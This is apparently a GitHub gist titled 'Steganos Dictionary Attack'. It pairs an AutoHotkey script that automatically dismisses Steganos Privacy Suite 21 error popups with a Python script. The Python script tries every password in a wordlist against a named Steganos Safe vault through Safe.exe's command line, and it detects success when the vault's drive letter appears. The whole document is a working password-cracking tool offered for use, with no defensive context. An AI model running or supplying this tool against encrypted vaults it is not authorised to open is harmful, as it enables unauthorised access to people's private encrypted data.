Skip to content

Instantly share code, notes, and snippets.

@cumulus13
Last active July 28, 2025 16:37
Show Gist options
  • Save cumulus13/256a7372ad03f35a1a075067839e6e9b to your computer and use it in GitHub Desktop.
Save cumulus13/256a7372ad03f35a1a075067839e6e9b to your computer and use it in GitHub Desktop.
Steganos Dictionary Attack
#Persistent
SetTitleMatchMode, 2
Loop {
WinWait, Steganos Privacy Suite 21
IfWinExist, Steganos Privacy Suite 21
{
ControlClick, Button1, Steganos Privacy Suite 21
Sleep, 100
}
}
#!/usr/bin/env python3
#install AutoHotKey then run 'close_popup.ahk' before run this script
import subprocess
import time
import os
import sys
from pathlib import Path
def usage(message=None):
print(f"""
usage: {Path(__file__).stem} VAULT_NAME [WORDLISTS=wordlists.txt] [DRIVE_NAME=X] [SAFE_EXE_PATH="C:\\Program Files (x86)\\Steganos Privacy Suite 21\\Safe.exe"]
""")
if message:
print(message)
print("note: install AutoHotKey then run 'close_popup.ahk' before run this script")
sys.exit(0)
if len(sys.argv) < 2:
usage()
SAFE_NAME = sys.argv[1]
# --- default values ---
WORDLIST = "wordlists.txt"
DRIVE_NAME = "X"
SAFE_EXE = r"C:\Program Files (x86)\Steganos Privacy Suite 21\Safe.exe"
# --- arguments ---
if len(sys.argv) >= 3:
arg2 = sys.argv[2]
# check if exe file or not
if arg2.lower().endswith(".exe"):
SAFE_EXE = arg2
else:
WORDLIST = arg2
if len(sys.argv) >= 4:
arg3 = sys.argv[3]
# if arg3 is exe file
if arg3.lower().endswith(".exe"):
SAFE_EXE = arg3
else:
DRIVE_NAME = arg3.replace(":", "")
if len(sys.argv) >= 5:
SAFE_EXE = sys.argv[4]
# --- validation ---
if not os.path.isfile(WORDLIST):
usage(f"Wordlist file not found: {WORDLIST}")
if not os.path.isfile(SAFE_EXE):
usage(f"Safe executable not found: {SAFE_EXE}")
print(f"SAFE_NAME : {SAFE_NAME}")
print(f"WORDLISTS : {WORDLIST}")
print(f"SAFE_EXE : {SAFE_EXE}")
print(f"DRIVE_NAME : {DRIVE_NAME}")
# print(f"sys.argv : {sys.argv}")
def try_password(password):
cmd = [
SAFE_EXE,
"-entry", f"Safe.ToggleDrive.{SAFE_NAME}",
f"Safe.Pass.{password}"
]
try:
subprocess.run(cmd, capture_output=True, text=True)
time.sleep(1.5) # sleep of AutoHotkey to close popup
drives = os.popen("wmic logicaldisk get name").read()
if f"{DRIVE_NAME}:" in drives:
return True
except Exception as e:
print("Error:", e)
return False
if __name__ == "__main__":
with open(WORDLIST, encoding="utf-8", errors="ignore") as f:
for line in f:
password = line.strip()
if not password:
continue
print(f"try: {password}")
if try_password(password):
print(f"[+] Password FOUND !: {password}")
break
else:
print("[-] NO password match in wordlists.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment